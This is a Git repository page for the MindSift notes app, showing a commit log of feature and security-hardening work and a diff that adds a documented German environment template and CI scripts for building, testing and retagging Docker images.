sandrodachandClaude Opus 5.5 362dd3b4c6 fix(workspace): extract replaces the branch in the editor, with undo
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m2s
The server only creates the new note and returns the link; the editor
swaps the branch for it as an ordinary own edit through the sync engine.
No more clash with unsent typing (conflict copies), the link shows at
once also with polling, and Strg+Z restores the branch. Undoing (toast or
Strg+Z) puts the new note into the trash via POST /extract/undo. The
sidebar gets the new note right away and opens its folder.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 09:18:25 +01:00
sandrodachandClaude Opus 5.5 ad614f1169 Merge branch 'dev' into main: v0.7.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m56s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 00:26:28 +01:00
sandrodachandClaude Opus 5.5 02ce554c02 chore(release): v0.7.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 9s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 00:26:26 +01:00
sandrodachandClaude Opus 5.5 4d1b37c956 feat(workspace): turn a branch into its own note, merge notes
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m56s
- Extract: button on the bullet (desktop) or /extract (/notiz). The bullet
  becomes the title (hashtags stay at the link), its children the content
  of a new note in the same folder with the source's shares (a foreign
  source owner gets write access); the branch becomes [[title]] through
  the operation log, so open editors follow.
- Merge: drop a note onto another in the sidebar or use "Mit anderer
  Notiz zusammenführen…" in the note header. The own source is appended
  as an h2 section with its bullets below and goes to the trash; the toast
  offers a complete undo.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 00:25:46 +01:00
sandrodachandClaude Opus 5.5 4c26eb2960 feat(workspace): link previews above bullets with a web address (M5)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m52s
- GET /link-preview?url= fetches the page on the server (https only,
  SSRF-guarded like webhooks), reads Open Graph/Twitter tags, title,
  description and icon from the head, loads picture and icon (no SVG) and
  keeps them in link_previews (migration 6) for 7 days; readers' browsers
  never contact the page. Off in the demo; 300 fetches per address in
  15 minutes.
- Compact card above the bullet (icon, site, title, one line, small
  picture); the duplicate link badge is left out.
- ✕ turns the address into [title](url), so hiding syncs with the note;
  "Link-Vorschauen anzeigen" under appearance switches all off per device.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-30 00:06:05 +01:00
sandrodachandClaude Opus 5.5 83408d120d fix(workspace): more room for notes on phones
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m57s
Almost no side margin, 14 px indent per level (22 px from tablet width
on), zoom and delete buttons only take width in the active row. Very deep
rows keep about 14rem and the note scrolls sideways instead of squeezing
the text.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 23:55:00 +01:00
sandrodachandClaude Opus 5.5 56c1fa02e6 feat(mail): sender display name (SMTP_FROM_NAME, default MindSift)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m54s
A bare SMTP_FROM address gets the display name in the From header; a name
already in SMTP_FROM wins, the envelope keeps the bare address. Also a
field in the admin mail settings.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 23:47:38 +01:00
sandrodachandClaude Opus 5.5 1632dd22c4 fix(workspace): English slash commands, short texts, wider menu
/image replaces /bild (aliases bild/foto keep working), shorter
descriptions for /link, /image, /audio, /diktat; the menu is wider, the
command never wraps and long descriptions are cut off.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 23:47:38 +01:00
sandrodachandClaude Opus 5.5 1f63e08a73 feat(media): images and recordings in backups, exports and imports (M6)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m52s
- Backup ZIP (download and automatic per-user server backups) carries the
  files of the user's own notes as media/<id><ext>; restoring creates
  them with new IDs and rewrites the blocks.
- Markdown archive puts them under attachments/ and embeds them relative
  to each note (![caption](../attachments/…)); re-importing turns them
  back into image/audio blocks.
- Obsidian import takes images and audio a note embeds on its own
  (![[file.png]], ![](path/file.png)); unused or invalid files appear as
  skipped in the preview instead of vanishing.
- Format detection and file paths moved into storage for this.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 23:41:26 +01:00
sandrodachandClaude Opus 5.5 3f2bc96732 feat(workspace): dictation via /diktat (M4)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m59s
/diktat (only in an empty bullet, only with voice input available)
listens right away; the bullet becomes one button with the live wave
across it and a translucent "Stopp" on top. A tap ends it and the
recognised text lands in the bullet as plain text. Uses the configured
speech recognition (own Whisper server or the browser); Esc cancels.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 23:30:15 +01:00
sandrodachandClaude Opus 5.5 3f5e3b2ac1 feat(workspace): voice notes via /audio (M3)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m10s
- /audio (only in an empty bullet) shows a recording bubble: green round
  button starts, it turns red with a live wave and timer on its left, a
  tap saves the recording as an inline audio player. An audio file can be
  uploaded instead; Esc/✕ restores the empty bullet.
- Chrome's WebM recordings get their length measured, so the player shows
  the total time and seeking works.
- With the own Whisper server "Transkribieren" turns the recording into
  the (searchable) caption.
- Loaded files keep their Blob, as the CSP rightly blocks fetch() on blob:
  URLs.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 23:23:54 +01:00
sandrodachandClaude Opus 5.5 e8fa14a4cb feat(workspace): image blocks via /bild (M2)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m18s
- /bild (only in an empty bullet) turns the bullet into an inline picker:
  file, camera on phones, drag & drop, paste, or an https link the server
  copies. Esc/✕ restores the empty bullet; nothing is synced before the
  upload succeeded.
- Photos are shrunk to 2048 px and stored as WebP (JPEG fallback); the
  re-encoding drops EXIF data such as the location.
- Image block: loaded with the login as blob URL, click opens full
  screen, optional caption kept in the block content
  (![caption](media:id)).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 23:14:08 +01:00
sandrodachandClaude Opus 5.5 177fa49363 feat(media): storage for images and audio in notes (M1)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m4s
- Table media (migration 5), files in $DATA_DIR/media/<docId>/.
- POST /documents/{id}/media (write access), POST .../media/fetch copies an
  external https image (SSRF-guarded, not in the demo), GET /media/{id}
  with range requests for readers of a note that shows the file.
- Format detected from the content (no SVG); own sandbox CSP on answers.
- Blocks point to files through their content (media:<id>), so the note
  sync needs no change; compaction removes files no block mentions any
  more after a day. Demo reset and demo start clear the folder.
- Limits MEDIA_MAX_IMAGE_MB, MEDIA_MAX_AUDIO_MB, MEDIA_QUOTA_MB,
  MEDIA_DEMO_MAX_MB.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:57:59 +01:00
sandrodachandClaude Opus 5.5 e385a44fb9 chore(docker): explanations in .env.example, whisper as commented block
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
- docker-compose.yml only maps variables; every variable is explained in
  .env.example (German, with defaults, units and choices).
- The whisper service is a commented block to switch on instead of a
  compose profile.
- TZ, TRUSTED_PROXIES, LOGIN_PROTECTION, DEMO_RESET_MINUTES and
  LEGAL_*_CONTENT are now passed through (they had no effect from .env).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:51:57 +01:00
sandrodachandClaude Opus 5.5 d396d42acf docs(changelog): hold-to-record cancels by dragging up
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 7s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:49:32 +01:00
sandrodachandClaude Opus 5.5 d52992afd2 Merge branch 'changelog_backlog' into dev
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:49:02 +01:00
sandrodachandClaude Opus 5.5 cc68d3f334 fix(workspace): keep the cursor in a block that turns into a code block
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m58s
Converting via /code or ``` swapped the text field for the code editor's
and left the focus nowhere, so further typing triggered app shortcuts.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:48:35 +01:00
sandrodach b624093980 docs(changelog): backfill release history from v0.1 to v0.5.2 2026-10-29 22:42:43 +01:00
sandrodachandClaude Opus 5.5 9124809f54 Merge branch 'feat/code-block' into dev
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:37:17 +01:00
sandrodachandClaude Opus 5.5 a9d0e49159 Merge branch 'feat/sidebar-explorer' into dev
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:37:17 +01:00
sandrodachandClaude Opus 5.5 7fa21e485b feat(voice): all microphone buttons use the server's speech recognition
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m56s
- New useVoiceInput hook (lib/voice.ts): "server" records with MediaRecorder
  and sends to /voice/transcribe, "browser" keeps the live recognition,
  "off" or missing browser support hides the microphone.
- Quick dump bar, mobile capture sheet and hold-to-record use it; live
  waves from the real input level (VoiceWave) and "Wird erkannt…".
- Recordings stop after STT_MAX_SECONDS.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:23:48 +01:00
sandrodach ff53f06991 feat(workspace): code block with language picker and live highlighting 2026-10-29 22:18:03 +01:00
sandrodachandClaude Opus 5.5 7801cd13b9 feat(voice): self-hosted speech recognition via Whisper (STT_*)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m49s
- STT_URL switches voice input to an OpenAI-compatible Whisper server
  (e.g. speaches); without it the browser's recognition stays. Configured
  by environment only, with limits for upload size, parallel jobs, hourly
  budget per user and timeout. The demo always uses the browser.
- POST /voice/transcribe forwards recordings and returns the text; nothing
  is stored. On startup MindSift waits for the server and asks it to
  download the model if missing.
- Admin card shows the active mode and server state, with a test recording.
- docker-compose: optional "whisper" service (speaches 0.8.3 CPU, profile
  "whisper", models in ./whisper).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 22:12:57 +01:00
sandrodach 9f3c78dde0 feat(workspace): sidebar as a plain file explorer 2026-10-29 22:08:35 +01:00
sandrodachandClaude Opus 5.5 230fb3c5aa Merge branch 'dev' into main: v0.6.1
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 8s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 21:20:03 +01:00
sandrodachandClaude Opus 5.5 6a5e82431f chore(release): v0.6.1
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m6s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 21:20:00 +01:00
sandrodachandClaude Opus 5.5 fbc404fea1 fix(notes): no self-conflicts when typing in a rhythm
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m51s
Several unsent text changes of one block were applied one by one to the
local view, numbering local versions ahead of the server, which folds them
into one change (formBatch). The focused field kept the inflated version as
base, so the next edit after a sync conflicted with the user's own text.
The local view now applies pending ops as they will be sent.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 21:13:02 +01:00
sandrodachandClaude Opus 5.5 c3b11318f4 Merge branch 'dev' into main: v0.6.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m54s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 20:41:01 +01:00
sandrodachandClaude Opus 5.5 b55334b163 chore(release): v0.6.0
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 2m8s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 20:40:59 +01:00
sandrodachandClaude Opus 5.5 090d11d4c3 refactor(capture): memoize writable lists in the capture bar
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 20:40:59 +01:00
sandrodachandClaude Opus 5.5 ef16778ef5 Merge branch 'feat/single-list-shortcut' into dev
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 20:36:11 +01:00
sandrodachandClaude Opus 5.5 9d9698186c fix(security): demo sends nothing, hidden SMTP password, body limits (FLAW-33..38)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m52s
- Demo: senders for mail, Discord and webhooks refuse, no alarm ticker;
  test alarm, SMTP test, server settings, backups, account and session
  changes of the shared demo accounts answer 403; the session list only
  shows the own device. The UI shows the notices and disables the controls.
- SMTP password is never sent back (smtpPassSet), empty keeps it.
- ?token= on webhook ingest accepts only API keys.
- Request bodies capped at 2 MB (sync 8 MB, imports 101 MB).
- Deleting an account removes its server backups.
- Backup downloads, exports and import uploads get 30 minutes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 19:43:23 +01:00
sandrodachandClaude Opus 5.5 3709282a4f fix(auth): longer IDs and invite codes, register limits, single-use invites (FLAW-32, FLAW-39, FLAW-40)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m2s
- NewID uses 96 random bits; invite codes get their own 100 bits in Base32.
- Registration and forgot-password are limited per address via loginGuard.
- The invite is claimed atomically before the account is created and
  released again when the account cannot be created.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 19:28:09 +01:00
sandrodachandClaude Opus 5.5 1af3a6e90a feat(auth): server-side sessions and current password for account changes (FLAW-30, FLAW-31)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m52s
- Every login is a session (device, IP, last use); the token's jti is its ID.
  Sessions end on logout, per device from the profile, or after 30 idle days.
- Tokens older than a day are renewed via the X-Session-Token header.
- Changing password or login e-mail needs the current password; a new
  password logs out all other devices and mails the old address.
- Demo reset keeps the demo visitors' sessions.
- revoked_tokens is replaced by sessions (migration 4); everyone is logged
  out once after the upgrade.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 19:25:22 +01:00
sandrodachandClaude Opus 5.5 b2ecda9896 fix(security): safe links and security headers (FLAW-28, FLAW-29)
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m48s
safeHref lets only http, https and mailto become links (Markdown viewer,
outliner, legal links); javascript: and friends show as text. A
middleware sets a Content-Security-Policy (scripts only from MindSift,
no framing, connections only to this server), X-Frame-Options,
nosniff, Referrer-Policy and a Permissions-Policy. The two inline
scripts of index.html moved to files so script-src stays 'self'.

The second inline script also deleted every cache on each page load,
which undermined the offline start; it is gone.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 19:02:13 +01:00
sandrodachandClaude Opus 5.5 3ca4ff7bce chore: Semantic Versioning and a changelog from now on
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 1m50s
Tags become three-part (v0.6.0), the header shows the full version and
pre-release tags no longer move :stable. CHANGELOG.md (Keep a Changelog)
starts with an Unreleased section; older versions will be added from the
history. The quantity field opens the number keypad on phones.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 18:55:32 +01:00
sandrodach 3a27a37acb feat(triage): skip list selector when only one writable list exists 2026-10-29 18:49:35 +01:00
sandrodachandClaude Opus 5.5 ff27d07aa3 docs(flaws): FLAW-33 covers outgoing alarms of a public demo
MindSift CI & Docker Release / Build, Test in Container & Push (push) Successful in 9s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-29 18:39:20 +01:00
216 changed files with 20048 additions and 2558 deletions

No files matched your search

+129 -15
View File
@@ -1,27 +1,141 @@
# MindSift Environment Configuration # MindSift – Einstellungen
PORT=8080 # Kopieren nach .env (cp .env.example .env) und anpassen; docker-compose.yml liest die Werte von dort.
DATA_DIR=/data # Leer gelassene Werte nehmen den Standard aus docker-compose.yml. Nach Änderungen: docker compose up -d
DATABASE_URL=sqlite:///data/mindsift.db
JWT_SECRET=change_this_to_a_secure_random_key_min_32_chars
BASE_URL=http://localhost:8080
ALLOW_REGISTRATION=false
# Logging level: debug, info, warn, error (Default: info)
LOG_LEVEL=info
# LOG_LEVEL=debug
# DEBUG=true
# Optional SMTP Server Configuration for Email Alarms (can also be set in Admin Settings UI) # ─── Grundeinstellungen ────────────────────────────────────────────────────────────────────────────
# Port auf dem Host, unter dem MindSift erreichbar ist (im Container immer 8080).
PORT=8080
# Geheimer Schlüssel für die Anmeldung, mindestens 32 zufällige Zeichen, z. B. von: openssl rand -hex 32
# Bekannte Beispielwerte (wie dieser) werden ignoriert; dann erzeugt MindSift selbst einen und legt ihn in data/ ab.
JWT_SECRET=change_this_to_a_secure_random_key_min_32_chars
# Öffentliche Adresse der Instanz, so wie sie im Browser aufgerufen wird. Wird für Links in E-Mails
# (Passwort zurücksetzen) gebraucht und beschränkt, von welcher Adresse Live-Verbindungen kommen dürfen.
BASE_URL=http://localhost:8080
# Zeitzone für Fälligkeiten und Alarme (Standard Europe/Berlin).
TZ=Europe/Berlin
# true = jeder darf sich ein Konto anlegen; false = nur mit Einladungscode vom Admin.
# Lässt sich später in Administration → Server & Isolation ändern.
ALLOW_REGISTRATION=false
# ─── Sicherheit ────────────────────────────────────────────────────────────────────────────────────
# Wessen Angaben zur Besucher-Adresse (X-Forwarded-For / X-Real-IP) geglaubt werden. Wichtig für die
# Login-Sperre hinter einem Reverse-Proxy.
# private Proxys im lokalen Netz, Docker-Netz oder Tailscale (Standard, passt für die meisten Setups)
# none keinem Proxy glauben (MindSift direkt im Internet)
# all jedem glauben (schaltet die Prüfung ab)
# Liste zusätzlich eigene Adressen, z. B. private,203.0.113.0/24 (Cloudflare und andere externe Proxys)
TRUSTED_PROXIES=private
# Sperre nach Fehlversuchen beim Login und Limits für Registrierung und „Passwort vergessen“.
# false schaltet beides ab (nur sinnvoll, wenn ein vorgeschalteter Dienst das übernimmt).
LOGIN_PROTECTION=true
# ─── Protokoll ─────────────────────────────────────────────────────────────────────────────────────
# Wie ausführlich das Container-Log ist: debug, info, warn oder error.
LOG_LEVEL=info
# true = ausführliches Protokoll aller Anfragen und der Synchronisation (wie LOG_LEVEL=debug).
DEBUG=false
# ─── Demo ──────────────────────────────────────────────────────────────────────────────────────────
# true = öffentliche Demo: legt die Konten admin/admin und user/user mit Beispieldaten an. Die Demo
# verschickt nichts (keine Mails, Webhooks, Alarme) und schützt die gemeinsam genutzten Konten.
MINDA_DEMO=false
# Nur in der Demo: alle so viele Minuten auf die Beispieldaten zurücksetzen (0 = nie).
DEMO_RESET_MINUTES=20
# ─── E-Mail (optional) ─────────────────────────────────────────────────────────────────────────────
# Für Alarm-Mails und „Passwort vergessen“. Lässt sich alternativ in Administration → E-Mail einstellen;
# Werte dort haben Vorrang.
# Mailserver, z. B. smtp.example.com. Leer = kein Mailversand.
SMTP_HOST= SMTP_HOST=
# 587 (STARTTLS) oder 465 (TLS ab Verbindungsbeginn).
SMTP_PORT=587 SMTP_PORT=587
# Anmeldung am Mailserver; leer, wenn der Server keine verlangt.
SMTP_USER= SMTP_USER=
SMTP_PASS= SMTP_PASS=
SMTP_FROM=noreply@mindsift.local # Absenderadresse, z. B. noreply@example.com. Leer = SMTP_USER bzw. noreply@mindsift.local.
SMTP_FROM=
# Name, den Mailprogramme als Absender zeigen (wenn SMTP_FROM nur eine Adresse ist).
# Ein Name direkt in SMTP_FROM ("Mein Dienst <noreply@example.com>") hat Vorrang.
SMTP_FROM_NAME=MindSift
# Benachrichtigungen (Freigaben, beobachtete Aufgaben …) werden gesammelt und höchstens alle so viele
# Minuten als eine Nachricht verschickt. Fällige Aufgaben kommen immer sofort.
NOTIFY_DIGEST_MINUTES=5
# true = nur verschlüsselt senden.
SMTP_TLS=true SMTP_TLS=true
# Only for internal mail servers with self-signed certificates # true = selbstsignierte Zertifikate akzeptieren (nur für interne Mailserver).
SMTP_SKIP_VERIFY=false SMTP_SKIP_VERIFY=false
# Optional legal notices: external link and/or Markdown (inline or as file path) # Web-Push (Benachrichtigungen auf Handy und Desktop, auch bei geschlossener App).
# Ohne Angabe erzeugt MindSift beim ersten Bedarf ein Schlüsselpaar und speichert es in der Datenbank.
# VAPID_SUBJECT: Kontakt für die Push-Dienste (mailto: oder https://); Standard ist BASE_URL, wenn https.
# VAPID_PUBLIC_KEY=
# VAPID_PRIVATE_KEY=
# VAPID_SUBJECT=mailto:admin@example.com
# ─── Impressum und Datenschutz (optional) ──────────────────────────────────────────────────────────
# Werden auf der Anmeldeseite und in den Einstellungen verlinkt. Entweder als Link auf eine externe
# Seite (nur http/https) oder als Markdown-Text, direkt hier oder als Datei (per Volume einbinden).
# Ohne Angaben bleiben die Links unsichtbar.
LEGAL_IMPRINT_URL= LEGAL_IMPRINT_URL=
LEGAL_PRIVACY_URL= LEGAL_PRIVACY_URL=
LEGAL_IMPRINT_CONTENT=
LEGAL_PRIVACY_CONTENT=
# Pfad im Container, z. B. /legal/impressum.md
LEGAL_IMPRINT_CONTENT_FILE= LEGAL_IMPRINT_CONTENT_FILE=
LEGAL_PRIVACY_CONTENT_FILE= LEGAL_PRIVACY_CONTENT_FILE=
# Eigener Link im Footer (nur https://)
LEGAL_CUSTOM_LINK_LABEL=
LEGAL_CUSTOM_LINK_URL=
# ─── Bilder und Audio in Notizen ───────────────────────────────────────────────────────────────────
# Dateien liegen in data/media/ und sind nur für Personen sichtbar, die die Notiz lesen dürfen. Nicht mehr
# verwendete Dateien räumt MindSift nach einem Tag selbst weg.
# Größtes Bild in MB (der Browser verkleinert Fotos vorher auf höchstens 2048 Pixel).
MEDIA_MAX_IMAGE_MB=15
# Größte Audiodatei in MB (Sprachnotiz oder hochgeladene Datei).
MEDIA_MAX_AUDIO_MB=50
# Speicherplatz für Medien pro Person in MB; 0 = unbegrenzt.
MEDIA_QUOTA_MB=0
# Nur in der Demo: größte Datei in MB (Dateien verschwinden beim Demo-Reset).
MEDIA_DEMO_MAX_MB=3
# ─── Spracherkennung (optional) ────────────────────────────────────────────────────────────────────
# Ohne STT_URL nutzt MindSift die Spracherkennung des Browsers (Chrome, Edge, Safari; die Aufnahme geht
# dabei an Google, Microsoft bzw. Apple). Mit eigenem Whisper-Server bleibt alles auf deinem Server und
# es funktioniert in allen Browsern. Dazu den Block „whisper“ in docker-compose.yml einkommentieren
# (Anleitung steht dort). Fehler stehen im Log: docker compose logs mindsift whisper
# Adresse des Whisper-Servers (OpenAI-kompatibel, z. B. speaches). Gesetzt = Server-Modus.
STT_URL=
# Modell: deepdml/faster-whisper-large-v3-turbo-ct2 (beste Erkennung, ca. 2 GB RAM, langsamer)
# Systran/faster-whisper-small (ca. 1 GB RAM, deutlich schneller, kleine Fehler)
STT_MODEL=deepdml/faster-whisper-large-v3-turbo-ct2
# Sprachcode, z. B. de oder en; auto = automatisch erkennen.
STT_LANGUAGE=de
# Nur falls der Whisper-Server einen Schlüssel verlangt (bei speaches: dessen API_KEY).
STT_API_KEY=
# true = Mikrofon überall ausblenden, auch die Browser-Erkennung.
STT_DISABLED=false
# Schutzwerte für den Server-Modus
# Längste Aufnahme in Sekunden; danach beendet der Browser die Aufnahme selbst.
STT_MAX_SECONDS=600
# Größte Aufnahme in MB.
STT_MAX_UPLOAD_MB=25
# Wie viele Erkennungen gleichzeitig laufen; weitere warten in der Schlange. 1 schont schwache CPUs.
STT_MAX_PARALLEL=1
# Erkennungen pro Person und Stunde.
STT_PER_USER_PER_HOUR=60
# Höchstdauer einer Erkennung in Sekunden, Warten in der Schlange eingeschlossen.
STT_TIMEOUT_SECONDS=120
+91
View File
@@ -0,0 +1,91 @@
#!/usr/bin/env bash
# Decides per CI run: build with tests, build without tests, or only retag an existing image.
# Tests run once per code state: the images carry the git tree and commit as labels
# (io.mindsift.tree, org.opencontainers.image.revision), so no extra image tags are needed.
# dev -> build and test, tag :dev
# main -> build :latest; tests are skipped when :dev was built from the same tree
# v* -> retag :latest when it was built from this commit, else build (tests skipped when
# :dev or :latest has the same tree); :stable only for releases without "-"
# Inputs (environment): REF, COMMIT (default HEAD), IMAGE, PKG_VERSION (default from package.json),
# LABEL_CMD (prints a label of a remote image: LABEL_CMD <image> <label>; for tests)
set -euo pipefail
REF="${REF:-}"
COMMIT="${COMMIT:-HEAD}"
IMAGE="${IMAGE:-}"
PKG_VERSION="${PKG_VERSION:-}"
if [ -z "${PKG_VERSION}" ] && [ -f frontend/package.json ]; then
PKG_VERSION="$(sed -nE 's/^ "version": "([^"]+)".*/\1/p' frontend/package.json | head -n1)"
fi
SHA="$(git rev-parse "${COMMIT}^{commit}")"
TREE="$(git rev-parse "${COMMIT}^{tree}")"
# Label of an image in the registry ("" when the image or label does not exist)
image_label() {
if [ -n "${LABEL_CMD:-}" ]; then
${LABEL_CMD} "$1" "$2" 2>/dev/null || true
return
fi
docker pull -q "$1" >/dev/null 2>&1 || return 0
docker inspect -f "{{ index .Config.Labels \"$2\" }}" "$1" 2>/dev/null | sed 's/^<no value>$//' || true
}
ACTION="build"
SKIP_TESTS="0"
APP_VERSION=""
TAGS=""
SOURCE_IMAGE=""
REASON=""
case "${REF}" in
refs/heads/dev)
TAGS="dev"
REASON="dev: build with all tests"
;;
refs/heads/main)
TAGS="latest"
APP_VERSION="v${PKG_VERSION}"
if [ -n "${IMAGE}" ] && [ "$(image_label "${IMAGE}:dev" io.mindsift.tree)" = "${TREE}" ]; then
SKIP_TESTS="1"
REASON="main: same code as the tested :dev image, tests skipped"
else
REASON="main: code not tested as :dev yet, build with all tests"
fi
;;
refs/tags/v*)
TAG_NAME="${REF#refs/tags/}"
TAGS="${TAG_NAME}"
case "${TAG_NAME}" in *-*) ;; *) TAGS="${TAG_NAME} stable" ;; esac
if [ -n "${IMAGE}" ] && [ "$(image_label "${IMAGE}:latest" org.opencontainers.image.revision)" = "${SHA}" ]; then
ACTION="retag"
SOURCE_IMAGE="${IMAGE}:latest"
SKIP_TESTS="1"
REASON="tag ${TAG_NAME}: :latest was built from this commit, retag without building"
else
APP_VERSION="${TAG_NAME}"
if [ -n "${IMAGE}" ] && { [ "$(image_label "${IMAGE}:dev" io.mindsift.tree)" = "${TREE}" ] ||
[ "$(image_label "${IMAGE}:latest" io.mindsift.tree)" = "${TREE}" ]; }; then
SKIP_TESTS="1"
REASON="tag ${TAG_NAME}: code already tested, build without tests"
else
REASON="tag ${TAG_NAME}: build with all tests"
fi
fi
;;
*)
TAGS="$(echo "${REF#refs/heads/}" | sed 's#/#-#g' | tr '[:upper:]' '[:lower:]')"
REASON="branch ${REF}: build with all tests"
;;
esac
{
echo "action=${ACTION}"
echo "skip_tests=${SKIP_TESTS}"
echo "app_version=${APP_VERSION}"
echo "tags=${TAGS}"
echo "source_image=${SOURCE_IMAGE}"
echo "sha=${SHA}"
echo "tree=${TREE}"
echo "reason=${REASON}"
} | tee -a "${GITHUB_OUTPUT:-/dev/null}"
+51
View File
@@ -0,0 +1,51 @@
#!/usr/bin/env bash
# Checks build-plan.sh against a fake registry (labels given per case). Usage: .gitea/scripts/test-build-plan.sh
set -euo pipefail
cd "$(git rev-parse --show-toplevel)"
PLAN=.gitea/scripts/build-plan.sh
IMAGE=registry.example/mindsift
SHA="$(git rev-parse HEAD)"
TREE="$(git rev-parse HEAD^{tree})"
MOCK="$(mktemp)"
trap 'rm -f "$MOCK"' EXIT
# The fake registry answers from $DEV_TREE, $LATEST_TREE and $LATEST_SHA
cat >"$MOCK" <<'EOF'
#!/usr/bin/env bash
case "$1 $2" in
*:dev\ io.mindsift.tree) echo "${DEV_TREE:-}" ;;
*:latest\ io.mindsift.tree) echo "${LATEST_TREE:-}" ;;
*:latest\ org.opencontainers.image.revision) echo "${LATEST_SHA:-}" ;;
esac
EOF
chmod +x "$MOCK"
fails=0
expect() { # name, REF, expected "action skip_tests tags", env assignments…
local name="$1" ref="$2" want="$3"
shift 3
local out
out="$(env "$@" REF="$ref" IMAGE="$IMAGE" PKG_VERSION=0.10.0 LABEL_CMD="$MOCK" GITHUB_OUTPUT= "$PLAN")"
local got
got="$(echo "$out" | sed -n 's/^action=//p') $(echo "$out" | sed -n 's/^skip_tests=//p') $(echo "$out" | sed -n 's/^tags=//p')"
if [ "$got" = "$want" ]; then
echo "OK $name: $got"
else
echo "FEHL $name: erwartet '$want', bekommen '$got'"
fails=$((fails + 1))
fi
}
expect "dev baut mit Tests" refs/heads/dev "build 0 dev"
expect "main nach getestetem dev" refs/heads/main "build 1 latest" DEV_TREE="$TREE"
expect "main mit anderem Stand" refs/heads/main "build 0 latest" DEV_TREE=0000
expect "Tag auf latest-Commit" refs/tags/v0.10.0 "retag 1 v0.10.0 stable" LATEST_SHA="$SHA" LATEST_TREE="$TREE"
expect "Tag, latest fehlt, dev getestet" refs/tags/v0.10.0 "build 1 v0.10.0 stable" DEV_TREE="$TREE"
expect "Tag auf unbekanntem Stand" refs/tags/v0.10.0 "build 0 v0.10.0 stable"
expect "Vorabversion ohne stable" refs/tags/v0.11.0-rc.1 "retag 1 v0.11.0-rc.1" LATEST_SHA="$SHA"
expect "Feature-Branch" refs/heads/feat/x "build 0 feat-x"
if [ "$fails" -gt 0 ]; then
echo "$fails FEHLGESCHLAGEN"
exit 1
fi
echo "ALLE FÄLLE BESTANDEN"
+33 -37
View File
@@ -4,6 +4,10 @@ name: MindSift CI & Docker Release
# push to dev -> :dev # push to dev -> :dev
# push/merge main -> :latest # push/merge main -> :latest
# git tag v1.2.0 -> :v1.2.0 and :stable # git tag v1.2.0 -> :v1.2.0 and :stable
# git tag v1.2.0-rc.1 (pre-release) -> :v1.2.0-rc.1 only, :stable stays
# Tests run once per code state (.gitea/scripts/build-plan.sh): main skips them when :dev was built
